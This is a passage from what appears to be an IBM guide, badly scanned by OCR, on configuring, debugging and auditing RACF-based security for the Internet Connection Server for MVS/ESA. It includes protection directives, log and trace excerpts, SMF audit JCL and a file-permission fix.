and so on. This is required for resource security checking. 

• The CICS command profiles for the SPI commands issued by the CICS server 
application program INQUIRE, SET, DISCARD and so on. This is required for 
command security checking. 

6.6.4.4 User Security 

The target CICS server region performs user security checking against the user 
ID passed on a DPL CALL request. User security checking is performed only 
when connections specify ATTACHCSEC(IDENTIFY). 

The user ID frem the end-user that requested this CICS DPL CALL, by sending a 
HTTP request te the server, can be passed from the server to the CGI script that 
is acting as the CICS client, through environment variables that are used in the 
commen gateway interface. 

User security is performed in addition to any link security. 

For user security, in addition to any authorizations you make for link security, 
you must also authorize the user ID specified on the DPL CALL request. 

Note that there is no provision for specifying a user ID on the EXEC CICS LINK 
command. In this case, the external CICS interface passes the batch region's 
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user ID. User security checking is therefcre performed against the batch 
region's user ID If the connection definition specifies ATTACHSEC(IDENTIFY). 

For more Information about CICS security, see the CICS/ESA CICS-RACF 
Security Guide. 
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Chapter 7. Step-by-Step Procedure to Activate Basic Server Security 


This step-by-step precedure guides you while you are activating the basic server 
security. 


Step 


Verify your RACF environment as described in 5.12, 
“Step-by-Step Procedure to Implement the RACF Security” on 
page 71. 

Make sure that the Web server daemon has a valid OpenEdition 
MVS user ID assigned to it and that this user ID is permitted to 
the identity change facility and the surrogate suppcrt facility. 
Also check that your Web server is running in a controlled 
envircnment. 


Step 


2 Verify the permissions for your directories and files. 

If your are planning to use an external security manager to 
control access to your resources, make sure that the DID cr GUI 
fcr the user ID that is used in access control checks has the 
right access permissions. This user ID could be a surrcgate 
user ID or the real user ID the requestor has on your MVS 
system that is running yeur Web server. 


Step 


3 Decide what type cf protecticn should be used. 

You can use two types of protection to control access tc yeur 
rescurces thrcugh your Web server: 

• User name and password protection 

• Address template protection 

Chapter 4, “Security Considerations When Using Basic Server 
Security” on page 43 prevides seme recemmendations en which 
type ef protection you should use in different implementation 
scenarios. 


Step 


Activate protection. 

You activate pretection based on the centent of requests that 
clients send to your server. You can use protect directives to 
specify which requests should activate pretection. 

Chapter 3, “Pretecting the Pages on Your Internet Connection 
Server for MVS/ESA” on page 31 describes hew to activate 
protectien through directives and sub-directives in the 
configuration file. 


Step 


5 Create protectien setups. 

A protection setup is a group of protection sub-directives. The 
sub-directives work together te define how the Web server 
should control access to the resources being protected. 

Appendix A, “Directives and Sub-directives That Are Used to 
Control Access” on page 145 prevides some detail on the 
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directives and sub-directives that should be used to implement 
basic server security. 


Step 


0 Establish the access control environment. 

Make sure that the user IDs that are used In your surrogate 
support are defined In the RACE database and that they are 
defined In a profile In the surrogate class. The user ID that is 
assigned to your Web server should have READ permission for 
this profile. 


Step 


Limiting access to individual files. 

Perform this step only If you want to limit access to specific files 
on directories already protected by the protection setup. 

Installation jobs that are provided with the OS/390 Internet 
BonusPak will set the permissions for the various HFS files. If 
you like to build your own access control scheme, you should 
review these permissions. If you add your own pages, you also 
have to define the permissions bits for these files. 
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Chapter 8. Debugging Server Security Probiems 


There are several tools available for debugging problems that occur after 
enabling and utilizing the basic server security. This topic will discuss how most 
of these tools can be used to determine what kind of problem you are leoking 
fer. These problems could be in, fer example, protection setups in the 
configuration file er permissien bits settings In the RACF database. The 
problems could also be more general; fer example, Insufficient access to the 
surrogate support facility for Web server. 

This tepic discusses a sample protection setup that Is based on the samples that 
are part of the OS/390 Internet BonusPak. Only the security-related directives 
and sub-dIrectIves are shown in this sample configuratlen file. 

ServerRoot /usr/1pp/internet/ServerRoot 

Enable GET 
Enable HEAD 
Enable POST 
Disable PUT 
Disable DELETE 
Disable CHECKIN 


AccessLog 
ErrorLog 
LogFormat 
LogTime 


/tmp/wwwlogs/httlog 
/tmp/wwwlogs/htterr 
Common 
Local Time 


Userid PUBLIC 


Protection PROT-SETUP-USERS 
Serverld wtsc59 

AuthType Basic 

PasswdFile %%SAF%% 

Userid INTERNAL 

GET-Mask All 

} 

Protect /Sales/* 

Protect /BonusPak/Sales/* 


PROT-SETUP-USERS 

PROT-SETUP-USERS 


Pass /BonusPak/* /usr/1pp/internet/ServerRoot/BonusPak/* 


The fellowing directives and sub-dIrectIves are used: 

Enable GET 

Indicates that the FITTP method GET is enabled and that the server returns 
whatever data Is defined by the URL. 

Protect /Sales/* PROT-SETUP-USERS 

This directive Is used te activate protection rules for requests that match a 
template. In this example, all requests for pages that start with /Sales/* 
are protected. A request for page /Sales/imvh202.htmls Is protected by the 
protectlen setup that is indicated in this Prefect directive. 

Protect /BonusPak/Sales/* PROT-SETUP-USERS 

This directive is used to activate pretection rules for requests that match a 
template. In this example, all requests for pages that start with 
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/BonusPak/Sales/* are protected. A request for page 
/BonusPak/Sales/imvh202.htnils is protected by the protection setup that is 
indicated in this Protect directive. 

Pass /BonusPak/* /usr/lpp/internet/ServerRoot/BonusPak/ 

This wiii cause requests that match the URL tempiate /BonusPak/* (for 
exampie, a request for /BonusPak/Sales/imvh202.htnils), to be accepted. 

The request string is mapped to the resuit string. In the above exampie, 
the server wili respond with the document in fiie 
/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls. 

The result string is not mapped with any further directives. 

Protection PROT-SETUP-USERS { 

This directive is used to define a protection setup. Subsequent DefProt and 
Protect directives can point to this protection setup by using the iabei name 
that is associated with this protection setup. 

Both Protect directives in this exampie point to this protection setup. 
Serverld wtsc59 

This directive is used to specify the name you want to use to identify the 
protection setup to requesters. When the server sends a requestor a 
prompt for user name and password, it also includes the name you specify 
on Serverld. Most browsers display this name with the prompt. 

AuthType Basic 

This specifies the type of authentication that is used when a client sends a 
password to the server. For user name and password protection, you must 
use the value Basic. With basic authentication, passwords are sent to the 
server as plain text. 

PasswdFile %%SAF%% 

The user ID and passwords are validated in the database of the external 
security manager (RACF). 

GET-Mask All 

All users that access the directory 

/usr/lpp/internet/ServerRoot/BonusPak/Sales are prompted for their user ID 
and password. 

Userid INTERNAL 

This directive indicates that the surrogate Userid INTERNAL should be used 
in access control checks that are done as a result of this protection setup. 
The surrogate Userid INTERNAL must have access to the requested page. 

For example, to file 

/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls. 


8.1 The Sequence of Events 

This topic describes the sequence of events that took place when a client 
accessed the pages that are protected by the protection setup that is explained 
in the previous topic. 

1. The client selects the server by requesting http://9.12.14.201/. 

2. The Welcome page is displayed on the browser. 

3. By clicking on an icon, the user requests page /Sales/imvh200.htmls (or 
/BonusPak/Sales/imvh200.htmls. depending on what icon he is using). 

4. The client gets the following message displayed on his browser: 
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Document is Protected 


Enter user name and password below 
for wtsc59 
at 9.12.14.201 

User name _ 

Password _ 

Note: The message that is displayed on the screen might be different since 
it depends on the browser how messages are displayed. Some browsers 
might also require that you enter the user name and password in uppercase 
characters. 

5. The client replies with a valid user name and password. 

6. The clients receives the requested page. 

7. The client requests the following page by clicking on an icon: 
/BonusPal</Sales/imvh202.html s. 

8. The user receives: 

Error 403 - Can't browse selected file 

9. The client calls for help. 


8.2 What Debugging Tools Can You Use 

There are several trace and log tools available that can help you in debugging 
access control problems. We suggest you use the following trace and log 
facilities: 

ErrorLog 

You can use the ErrorLog directive to specify where the server logs the 
internal errors. The Internet Connection Server for MVS/ESA create new 
logs automatically every day so there is no need to restart the server to 
generate manageable logs. You still might want to copy the logs to an 
archive directory or combine the logs of several days. 

AccessLog 

You can use the AccessLog directive to specify where the server logs all 
requests made by the client. The Internet Connection Server for MVS/ESA 
create new logs automatically every day so there is no need to restart the 
server to generate manageable logs. You still might want to copy the logs 
to an archive directory or combine the logs of several days. 

You can browse these logs by any OpenEdition MVS browse facility. 

MVS console log 

RACE sends access violation messages to the MVS console. These 
messages contain, for example, information about the following: 

• The resource that was accessed 

• The user ID and group ID that was used in the access check 

• The requested access authority and the access authority this user ID 
has 

• The function that was used when the violation occurred 

• Date and time stamps 
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SMF 


RACF writes records to the system management facility (SMF) for detected 
unauthorized attempts to enter the system. Optionally. RACF writes 
records to SMF for authorized attempts and detected unauthorized 
attempts to the following: 

• Access RACF-protected resources 

• RACF commands 

• Modify profiles on the RACF database 

RACF writes these records to an MVS data set. To list SMF records, you 
should use the RACF SMF data unload utility. With the RACF SMF data 
unload utility, you can translate the RACF SMF records into a format you 
can browse or upload to a database, query, or reporting package, such as 
DB2. Refer to 8.3.2, “Step 2. Collect SMF Records that Contain the 
Violation” on page 99 for a sample job that uses the DFSORT ICETOOL to 
select records and fields and to print them in a report. 

Trace 

The internal verbose trace can be switched on and off in the startup 
procedure of the Web server daemon. The example below sends the 
output of the trace to the standard error output device that is specified in 
the STDERR DD card. 

//WEBSRV EXEC PGM=IMWHTTPD,REGION=OK,TIME=NOLIMIT,PARM=' POSIX(ON), 

// STACK(32K,32K,ANY,FREE),TRAP(OFF)/-vv -nodns 

II -h 9.12.14.201' 

The following options are available: 

-V Trace to stderr. 

-VC Cache trace to stderr. 

-vv Very VERBOSE trace to stderr. The VERBOSE trace provides much 
more detail than the trace does. But it also causes much more 
overhead. 


8.3 Debugging Procedure 

This topic describes a debugging procedure that assists you in debugging a 
security problem in the Internet Connection Server for MVS/ESA. It depicts the 
various events that can be observed when a client performed the steps that are 
described in 8.1, “The Sequence of Events” on page 96. 


8.3.1 Step 1. Display the MVS Console Log 

Figure 23 on page 99 depicts the violation message that appeared on the MVS 
console. It lists the following: 

• The file name that caused the violation 

• The user ID that was used for the access check 

• The requested access and the access that was allowed 

• The time stamp 
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96065 15:52:18.91 ICH408I USER(INTERNAL) GROUP(EMPLOYEE) NAME(####################) 

/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls 
CL(FS0BJ ) FID(01D6D7F1C8C6E200100B000003460000) 

INSUFFICIENT AUTHORITY TO OPEN 

ACCESS INTENT(R-) ACCESS ALLOWED(OTHER —) 

Figure 23. Access Violation Message in System Log 

Note that this console message lists the user ID of a surrogate user (INTERNAL). 
It does not show the originator of this access request. You should use the time 
stamp and the file name to search in other logs to see if this access violation is 
right or wrong. It could very well be possible that this user should have access 
to this page but that access permission is wrong, or that the user selected a 
path to this page that wasn't protected in the right way. 

8.3.2 Step 2. Collect SMF Records that Contain the Violation 

Figure 24 on page 100 depicts a sample job that can be used to retrieve audit 
records from SMF. Step SMFDUMP collects the SMF records from the “live” or 
a history SMF data set. The tool that is used is the RACF SMF data unload utility 
(IRRADUOO). IRRADUOO uses the SMF dump utility (IFASMFDP) as the “driver” 
module to control its invocation. 

In step ICETOOL, DFSORT-ICETOOL is used to select and print the various field 
form the selected records. 

Refer to Appendix C, “Sample Auditing Jobs” on page 157 for a detailed 
description of these utilities. 
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//AUDIT4 JOB (POK,999),AUDITOR,MSGLEVEL=(1,1),MSGCLASS=X, 

// CLASS=A,NOTIFY=AUDITOR 
//SMFDUMP EXEC PGM=IFASMFDP 
//SYSPRINT DO SYSOUT=* 

//ADUPRINT DO SYSOUT=* 

//IN DO DSN=SYS1.SC59.MANZ,DISP=SHR 

//OUTDO DO DSN=AUDITOR.SMFI,DISP=(NEW,PASS,DELETE), 

// SPACE=(CYL,(200,20,0)),UNIT=SYSDA, 

// DCB=(RECFM=VB,LRECL=5096,BLKSIZE=6000) 

//SMFOUT DO DUMMY 
//SYSIN DO * 

INDD(IN,OPTIONS(DUMP)) 

0UTDD(SMF0UT,TYPE(0:98)) 

ABEND(NORETRY) 

USER2(IRRADU00) 

USERS(IRRADU86) 

DATE(96064,96065) 

START(1400) 

END(I700) 

/* 

//ICETOOL EXEC PGM=ICETOOL 
//TOOLMSG DO SYSOUT=* 

//PRINT DO DSN=AUDITOR.IRRADUOO,DISP=SHR 

//DFSMSG DO SYSOUT=* 

//INDD DO DSN=AUDITOR.SMFI,DISP=(SHR,PASS,DELETE) 

//TEMPOOOI DO DISP=(NEW,DELETE,DELETE), 

// SPACE=(CYL,(5,I,0)),UNIT=SYSDA 

//TOOLIN DO * 

COPY FROM(INDD) TO(TEMPOOOI) USING(SELU) 

DISPLAY FROM(TEMPOOOl) LIST(PRINT) - 

TITLE('FILE ACCESS VIOLATIONS') DATE(YMD/) TIME(12:) PAGE BLANK - 

0N(23,8,CH) HEADER('TIME') - 

0N(453,8,CH) HEADER('SUBMITTER') - 

0N(375,4,CH) HEADER('SUR') - 

0N(385,4,CH) HEADER('PRIV') - 

0N(I655,4,CH) HEADER('RD') - 

0N(I660,4,CH) HEADER('WR') - 

0N(I665,4,CH) HEADER('EX') - 

0N(1675,8,CH) HEADER('TYPE') - 

0N(2723,20,CH) HEADER('FILE NAME') 

/* 

//SELUCNTL DO * 

INCLUDE C0ND=(5,8,CH,EQ,C'FACCESS',AND, 

I4,8,CH,EQ,C' NOTAUTH') 

OPTION VLSHRT 
//* 

Figure 24. Sample Job to List Specified SMF Records and Fields 
Figure 25 depicts the output frem the job shown in Figure 24. 

FILE ACCESS VIOLATIONS 96/03/06 11:06:58 am - 1 - 


TIME 

SUBMITTER 

SUR 

PRIV 

RD 

WR 

EX 

TYPE 

FILE NAME 

15:52:18 

INTERNAL 

NO 

NO 

YES 

NO 

NO 

OTHER 

imvh202.htmls 


Figure 25. Sample Output from That Lists SMF Records 
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This report lists fields from the SMF type 80 record. Some fields are copied from 
the header section, others are copied from the event-specific information record. 
In this report, the Check File Access Record Extension was selected in the 
SELUNCTL statement by testing for EVENT QUAL equal to FACCESS. 

An additional check was made to see if this was an access violation record by 
testing EVENT_TYPE is equal to NOTAUTH. 

The various fields in this report represent the following fields in the selected 
SMF record. 

TIME Time that the record was written to SMF. This is taken from header 

section. 

SUBMITTER The user ID that is associated with the record. This is taken from 
the event-specific information section. 

Check if this was a surrogate user. This is taken from the 
event-specific information section. Note that RACF is not aware of 
the fact that it is using a surrogate user in this type of operation. 

Is this a privileged user ID? This is taken from the event-specific 
information section. 

Did the requested access include READ? This is taken from the 
event-specific information section. 

Did the requested access include WRITE? This is taken from the 
event-specific information section. 

Did the requested access include EXECUTE? This is taken from the 
event-specific information section. 

What bits were used in granting the access? Valid values are 
OWNER, GROUP, and OTHER. This is taken from the event-specific 
information section. 

FILE NAME The file name that is being checked. This is taken from the 
event-specific information section. 

If you expect problems with the path that was used to access this file, you can 
also select the FACC_PATH_NAME field to see what the requested path was. 

This report gives basically the same information as the MVS console log. It does 
not tell you who the user was. You should use the time stamp and the file name 
to search in other logs to see if this access violation is rightly or wrongly. It still 
could very well be possible that this user should have access to this page but 
that access permission is wrong, or that the user selected a path to the pages 
that weren't protected in the right way. 

8.3.3 Step 3. Browse the Web Server ErrorLog 

This log is used by the Web server to log internal errors. Access violations are 
reported as internal errors by the Web server. Figure 26 shows the entries that 
are recorded in this log and are related to the debugging case that is described 
in this topic. 

-05/Mar/1996:15:51:57 +0500- NOT AUTHORIZED- -host: 9.12.14.181- /Sales/imvhZOO.htmls 
-05/Mar/1996:15:52:18 +0500- OK- -host: 9.12.14.181 user: WELLIE2- /Sales/imvh202.htnils 

Figure 26. ErrorLog 


SUR 

PRIV 

RD 

WR 

EX 

TYPE 
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This report shows the following events: 

1. It indicates a NOT AUTHORIZED message for page /Sales/imvhZOO.htmls. 

That is the page where the client gets the message: 

Document is Protected 

Enter user name and password below 
for wtsc59 
at 9.12.14.201 

User name _ 

Password _ 

After entering a valid user ID and the right password for this user ID, the 
requested page was shown. 

2. The next entry in this log shows: 

• The requested page. 

• The user IDs of the users. Since the user was requested to send their 
user IDs and passwords, the Web server now knows who the users are. 

• The IP address where this request was generated. 

This record does not indicate an violation; it reports OK for this request. But 
because it is entered in a ErrorLog, you might assume that this is an error 
condition that is detected by the Web server. 

8.3.4 Step 4. Browse the Web Server AccessLog 

This log is used by the Web server to log all requests made by the client. It lists 
not only the pages that are requested by the client, it also lists the other 
requests that are a result of the page request. In this case, it lists also the 
graphic files that are sent to the client as a result of the page request. 

This report provides more helpful information than the ErrorLog does. For 
example, it lists the following: 

• The originating IP address. 

• When available, the user name. 

• The requested page, and the pages that were sent as a result of this request, 
such as the graphic files that are needed for this page. 

• The HTTP method that was specified in this request. 

• The return code that was sent to the user: 

- 401 when the users were requested to send their user name and 
password 

- 200 when the request was honored 

- 403 when the request was failed 

9.12.14.181 -05/Mar/1996:15:51:57 +0500- "GET /Sales/imvh200.htmls HTTP/1.0" 401 231 

9.12.14.181 - WELLIE2 -05/Mar/1996:15:52:06 +0500- "GET /Sales/imvh200.htnils HTTP/1.0" 200 8585 

9.12.14.181 -05/Mar/1996:15:52:06 +0500- "GET /Images/imvgOOO.gif HTTP/1.0" 200 5420 

9.12.14.181 - WEEEIE2 -05/Mar/1996:15:52:08 +0500- "GET /Sales/imvg203.gif HTTP/1.0" 200 6397 

9.12.14.181 - WEEEIE2 -05/Mar/1996:15:52:09 +0500- "GET /Sales/imvg201.gif HTTP/1.0" 200 4178 

9.12.14.181 - WEEEIE2 -05/Mar/1996:15:52:09 +0500- "GET /Sales/imvg202.gif HTTP/1.0" 200 1858 

9.12.14.181 - WEEEIE2 -05/Mar/1996:15:52:18 +0500- "GET /Sales/imvh202.htnils HTTP/1.0" 403 220 

Figure 27. AccessLog 
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8.3.5 Step 5. List the File Permissions 

In order to list the permission bits for the fiie that is aceessed, you can use the 
foiiowing command from the TSO command iine: 

oshell Is -1 /usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh202.htnils 
Figure 28. TSO OSHELL Command Is -I 

In this exampie, the foiiowing message was dispiayed on the screen: 

-rwxr-x— 1 WEBADM IMWEB 5593 Mar 14 12:44 /usr/lpp/internet/ServerR 

oot/BonusPak/Sales/imvh202.htmls 

Figure 29. TSO OSHELL Command Is -I Output 

This message indicated that the fiie permissions for OTHER are set to This 
indicates that a process that is not in the owner or group ciass has no READ, 
WRiTE, or EXECUTE access to this fiie. The owner of the fiie is WEBADM; IMWEB 
is the group that is connected to this fiie. 

The Web server security administrator must decide if the surrogate user ID 
INTERNAL, that is not connected to the IMWEB, must have READ access or if 
INTERNAL must be connected to the group IMWEB. 

In this case, the Web server security administrator changed the permissions by 
using the foiiowing command: 

oshell chmod 755 /usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh202.htnils 
Figure 30. TSO chmod Command 


8.4 Using the Trace Output 

This topic describes entries in the trace output that can be used to diagnose 
security-reiated probiems. The trace produces a huge number of records and 
shouid oniy run for a short time. You shouid aiready coiiect key identifiers that 
you shouid iook for once you start scanning through the trace output. 

Figure 31 on page 104 depicts the first part of the trace output. This output 
gives, for exampie, the foiiowing information: 

• It provides detaiied information on the user IDs that are assigned to the 
various processes: 

Q shows the user ID, UID, and GID that is assigned to the daemon. 

Q shows the defauit surrogate user ID that is used if no other surrogate 
user ID is assigned through a protection setup. 

Q shows the surrogate user ID and his UiD and GID that is assigned 
through the protection setup PROT-SETUP-USERS. 

• Q shows what Protect directive is defined and to which protection setup it 
is connected. 

• The interpretation of the configuration fiie. Q shows how how defauits are 
assigned and what vaiues are used if, for exampie, wiidcards are specified. 

• What iogs are enabied and what the fiie name of the various iogs is. 

Note that oniy the security reiated output iines are depicted. 
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HostName.... 

Loading. 

ServerRoot.. 
Port. 


This is IBM Internet Connection Server for MVS/ESA, 
Built on Feb 28 1996 at 01:07:38. 

Running as "WEBSRV", UID:0, 010:205. Q 
"9.12.14.201" 

rule file "/etc/httpd.conf" 

/usr/1pp/internet/ServerRoot 
80 


Enabled.method GET 

Enabled.method HEAD 

Enabled.method POST 

Disabled.... method PUT 

Disabled_method DELETE 

Disabled.... method CHECKIN 

Frntpage.shtmr 
imvhOOO.htmls" 


Welcome pages are called 
Welcome pages are called 


AccessLog... /tmp/wwwlogs/httlog 

ErrorEog_ /tmp/wwwlogs/htterr 

Default. user id PUBEIC Q 

Protection., definition for name "PROT-SETUP-USERS" 


Reading. protection setup directly from config file 

HTAA_parseProtFi1e... ending on brace 

HTAA_parseProtFi1e...1ex_item=alphanumeric string 'Serverld' 

Binding. "Serverld" bound to "wtsc59" 

HTAA_parseProtFi1e...1ex_item=alphanumeric string 'AuthType' 
OkScheme.... Basic 

HTAA_parseProtFi1e...1ex_item=alphanumeric string ' PasswdFi1e' 

Binding. "PasswdFile" bound to '%6?SAF%%" 

HTAA_parseProtFi1e...1ex_item=alphanumeric string 'Userid' 

Binding. "Userid" bound to "INTERNAE" 

HTAA_parseProtFi 1 e... 1 ex_item=alphanumeric string 'GET-Mask' 
GET-Mask_ 

All @ ANYADDRESS Q 

HTAA_parseProtFi1e...1ex_item='}' 


Sysinfo. INTERNAE means user (INTERNAE:-n/a-:537:500:...) Q 

Parsed. strings INTERNAE and -null- as UserlD: INTERNAE uid: 537 

Userid. INTERNAE in this protection setup 

Protect. "/Sales/*" Q 

Eooking up., named protection "PROT-SETUP-USERS" 

Checking_"PROT-SETUP-USERS" 

Pass. "/BonusPak/*" --> "/usr/1pp/internet/ServerRoot/BonusPak/*" 

Eog. "/tmp/wwwlogs/httlog.Mar0596.2040" opened 

Error log... "/tmp/wwwlogs/htterr.Mar0596.2040" opened 


Figure 31. Trace Output Part 1 
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Figure 32 depicts the process fiow when the ciient requests the page that 
caused the 401 message dispiayed on his terminai. This part of the trace shows 
aii the directives that are used and how they are interpreted. Q shows a 401 
(ERROR) message that is aiso depicted in the Web server ErrorLog in Figure 26 
on page 101 and in the Web server AccessLog in Figure 27 on page 102. 

Thread 71 started at Tue Mar 5 15:51:57 1996 

HTSimplify.. /Sales/imvh200.htmls' into 

/Sales/imvh200.htmls' 


Protect. rule matched "/Sales/imvh200.htmls" -> "/Sales/imvh200.htmls 

Protection., setup as defined in config file 

Pass. rule matched "/Sales/imvh200.htmls" -> 

"/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" 

Passing. "/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" 

AuthCheck... Translated path: "/usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" (method: 
GET) 

Denied. by Mask (no ACL, only Protect) 

AA. check returned 401 

Translated.. "/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" 

Returning... ERROR 401: 

** Not authorized to access the document. 

ERROR. 05/Mar/1996:15:51:57 +0500 /Sales/imvh200.htmlsQ 

HTDmnFCHN NSLkup not started, returning -null- 

AA notice... WWW-Authenticate headers for 

"/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" 


HTTP header, length: 364 bytes 

Headers for the client 

HTTP/1.0 401 Not authorized to access the document. 

Thread 71 ended at Tue Mar 5 15:51:57 1996 
Figure 32. Trace Output Part 2 

Figure 33 on page 106 depicts the process fiow when the users send their 
credentiais. It shows the directives that are used and how they are interpreted. 
This part provide aiso the foilowing RACF reiated information: 

Q shows the user iD that is used by the user and how this user iD is 
authenticated. 

Q shows the surrogate user ID that is used in this process. 

Q shows the fiie security packet from the fiie: 

The permission bits 

The UiD of the owner of the fiie and the GID of the group owner 
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Thread 72 started at Tue Mar 5 15:52:06 1996 
Client sez.. GET /Sales/imvh200.htmls HTTP/1.0 

HTSimplify.. /Sales/imvh200.htmls' into 
/Sales/imvh200.htmls' 


Protect. rule matched "/Sales/imvh200.htmls" -> "/Sales/imvh200.htmls 

Protection., setup as defined in config file 

Pass. rule matched "/Sales/imvh200.htmls" -> 

"/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" 

Passing. "/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" 

AuthCheck... Translated path: "/usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" (method: 
GET) 

Basic. username: WEELIE2 

HTPasswd... user "WEEEIE2" verified by SAP. Q 

Correct. password for WEEEIE2 

Authentic... WEEEIE2 

Accepted_by Mask (no ACE, only Protect) 

AA. check returned 200 

Translated.. "/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" 

HTHandle. Access as "INTERNAE" for Client "WEELIE2" Q 

HTHandle.... method GET 

New anchor 75807A0 has hash 113488864 and address /Sales/imvh200.htmls' 

HTAccess: loading document /Sales/imvh200.htmls 


get_physical: finding protocol for '/usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls' 
get_physical: Found protocol type 'file' 
get_physical: Setting protocol to 'file' 

HTLoadFile_ Eooking for /usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls' 

Searching... for suffix 1: ".htmls" 

Eocal filename is "/usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls" 

HTFile: Opening /usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh200.htmls' gives 75E11B4 
File mode is 0300000755, uid=206, gid=205. My uid=0, 1 groups ( 500) Q 
File is not editable. 

HTAccess: /Sales/imvh200.htmls' has been accessed. 

Thread 72 ended at Tue Mar 5 15:52:06 1996 

Figure 33. Trace Output Part 3 

Figure 34 on page 107 depicts the last part of this sample conversation. The 
user requested /Sales/imvh202.htmls and reoelved a 403 message whioh says: 
Can't browse selected file. The output shows the directives that are used and 
how they are Interpreted. The following cruolal events are depicted: 

Q shows the protect directive that Is used. The following directives show 
how this request Is handled. 

Q shows the user IDs used to request this page. The browser sends the 
users credentials automatically on every request once the user has Identified 
themselves. 

Q shows the error message that Is returned to the users. This message Is 
also depioted In the Web server ErrorLog In Figure 26 on page 101 and In 
the Web server AooessLog In Figure 27 on page 102. Also, this message 
resulted in the message displayed on the MVS console as shown In 
Figure 23 on page 99, and in the SMF records as shown in Figure 25 on 
page 100. 
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Thread 77 started at Tue Mar 5 15:52:18 1996 
Client sez.. GET /Sales/imvh202.htmls HTTP/1.0 


HTSimplify.. /Sales/imvh202.htmls' into 
/Sales/imvh202.htmls' 


Protect. rule matched "/Sales/imvh202.htmls" -> "/Sales/imvh202.htmls" Q 

Protection., setup as defined in config file 
Pass. rule matched "/Sales/imvh202.htmls" -> 

Passing. "/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls" 

"/usr/1pp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls" 

Searching... for suffix 1: ".htmls" 

AuthCheck... Translated path: "/usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls" (method: 
GET) 

Basic. username: WELLIE2 

HTPasswd... user "WELLIE2" verified by SAP. Q 

Correct. password for WELLIE2 

Authentic... WELLIE2 

Accepted_by Mask (no ACL, only Protect) 

AA. check returned 200 

Translated.. "/usr/1 pp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls" 

HTHandle. Access as "INTERNAL" for Client "WELLIE2" 

HTHandle.... method GET 


HTAccess: loading document /Sales/imvh202.htmls 

Cache: anchor='/Sales/imvh202.htmls', request->context='<nul!>' 

get_physical: finding protocol for '/usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls' 
get_physical: Found protocol type 'file' 
get_physical: Setting protocol to 'file' 

HTLoadFile_ Looking for /usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls' 

Searching... for suffix 1: ".htmls" 

Local filename is "/usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls" 

HTFile: Opening /usr/lpp/internet/ServerRoot/BonusPak/Sales/imvh202.htmls' gives 0 
Returning... ERROR 403: 

** Can't browse selected file. 

ERROR. 05/Mar/1996:15:52:18 +0500 /Sales/imvh202.htmls Q 

Headers for the client 
HTTP/1.0 403 Can't browse selected file. 

End of headers 

HTAccess: /Sales/imvh202.htmls' has been accessed. 

Thread 77 ended at Tue Mar 5 15:52:18 1996 
Figure 34. Trace Output Part 4 


8.5 Tips 

The following tips should assist you in diagnosing security-related problems in 
the Internet Connection Server for MVS/ESA: 

• The configuration file is case-sensitive. The user ID that is specified in the 
protection setup (for example, in a mask sub-directive), should exactly match 
the user ID that is typed in by the user. 

• If an error record is written only in the Web server logs and there is no error 
reported on the MVS console or in SMF, it is very likely that the error is a 
result of directives or sub-directives in the configuration file. 
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Chapter 9. Auditing Your internet Connection Server for MVS/ESA 


Auditing the access to controiied resources is a prerequisite for efficient controi 
of your instailation's sensitive data. A compiete record of unauthorized attempts 
to aooess a controiied resouroe, or a record of such attempts pius a iist of aii 
accesses of oertain sensitive data, might heip the seourity administrator to 
uncover security leaks. It also helps in detecting possibie attacks on your 
system's security. 

Auditing invoives examining, verifying, and demonstrating the adequacy of the 
security controis of the instailation, as weii as verifying the accuraoy and 
compieteness of the resuits. 

An information system is considered auditabie if it is made up of moduiar, 
integrai, and auditabie subsystems that communioate with each other oniy 
across weii-defined interfaces. AM transactions taking piace at those interfaces 
shouid be recorded in iogs, indicating where, when, and by whom each 
transaction was initiated. 

Auditing invoives capturing the data in these iogs, documenting it, and feeding it 
back to management in such a way that it can be used to make decisions about 
the adequacy or inadequacy of the existing security features of the system. 


9.1 Facilities That Contain Security-Related Information 

Your instaiiation shouid define the seourity-reiated events needed for an audit 
trail. Examples of security-related events for the Internet Connection Server for 
MVS/ESA are: 

• List the users with priviieged attributes such as RACE SPECIAL or 
OPERATION or superuser and monitor the actions they take. This aiso 
inciudes users that can become a priviieged user without that attribute in 
their standard user profiies. 

• List access to resources such as MVS data sets or HFS fiies. Compare the 
list of users that did access protected resources to a iist of users you think 
shouid have aooess to these resouroes. 

• List access vioiations to protected resources. 

• Identification and authentication of users. List aiso the user that oan use an 
“identity change” faciiity or can use surrogate support. 

Security audits shouid be performed at a frequency appropriate to the size of the 
organization and shouid be reiative to the importance of your data. More 
speoiaiized or seiective audits can be scheduied periodicaiiy to review the 
strengths and weaknesses identified by fuii-scaie audits or, for exampie, by 
resuits of a penetration test that was part of an corporate audit. 

Some of the faciiities that are avaiiabie to create records with security 
information from your Internet Connection Server for MVS/ESA are: 

• The hardcopy iog and the system iog. These iogs contain, for exampie, the 
foilowing: 

- Operator oommands and system responses to operator commands 

- System requests and operator responses to system requests 
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- System or sub-system messages 

- Job-related information 

• System management facility (SMF). These records contain a variety of 
system and job-related information. SMF is used to create and maintain 
from, for example, RACF and other products. 

RACF generates audit records according to the type of event. For example, 
RACF always logs information about events such as the following: 

- Unauthorized attempts to access the system 

